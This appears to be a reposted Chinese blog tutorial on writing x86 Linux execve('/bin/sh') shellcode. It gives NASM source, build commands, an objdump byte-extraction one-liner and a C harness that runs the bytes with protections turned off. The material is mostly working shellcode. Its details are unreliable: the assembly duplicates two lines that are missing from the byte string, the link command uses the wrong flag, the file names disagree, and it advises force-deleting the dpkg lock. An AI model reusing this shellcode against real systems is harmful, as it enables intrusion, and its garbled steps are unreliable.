编写,编译,调试shellcode

编写
shellcode里面不能出现一堆00作为数字或者字符。
/bin/sh和//bin/sh是一样的。

可以用

>>> "//bin/sh"[::-1].encode('hex')
'68732f6e69622f2f'

来直接输出字符串
下面就调用execve()作为栗子
execve_stack.nasm

Section .text
global _start

_start:
    xor eax,eax
    push eax
    push 0x68732f6e
    push 0x69622f2f  ;字符串“//bin/sh”

    mov ebx,esp      ;第一个参数
    push eax
    mov edx,esp      ;第二个参数

    push eax
    mov edx,esp      ;第二个参数

    push ebx         ;第一个参数传进去
    mov ecx,esp

    mov al,11         ;execve中断号是11用int 0x80进入系统内核
    int 0x80

编译
用这2条命令编译和链接

nasm -f elf32 execve_stack.nasm
ld -i execve_stack execve_stack.o

nasm包需要安装

iu@ubuntu:~/Desktop/nasm-2.10.07$ sudo apt install nasm

如果不行
执行完这条命令再执行上面的命令

liu@ubuntu:~/Desktop/nasm-2.10.07$ sudo rm /var/lib/dpkg/lock

编译完成可以用objdump -d execve_stack命令查看。
这条命令可以直接提取

objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

调试
c语言源码
test.c

#include<stdio.h>
#include<string.h>
unsigned char code[]="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
void main()
{
    printf("shellcode Length:    %d\n",strlen(code));
    int (*ret)()=(int(*)())code;
    ret();
}

编译命令:

gcc -fno-stack-protector -z execstack test.c -o test

猜你喜欢

转载自blog.csdn.net/qq_38204481/article/details/80152800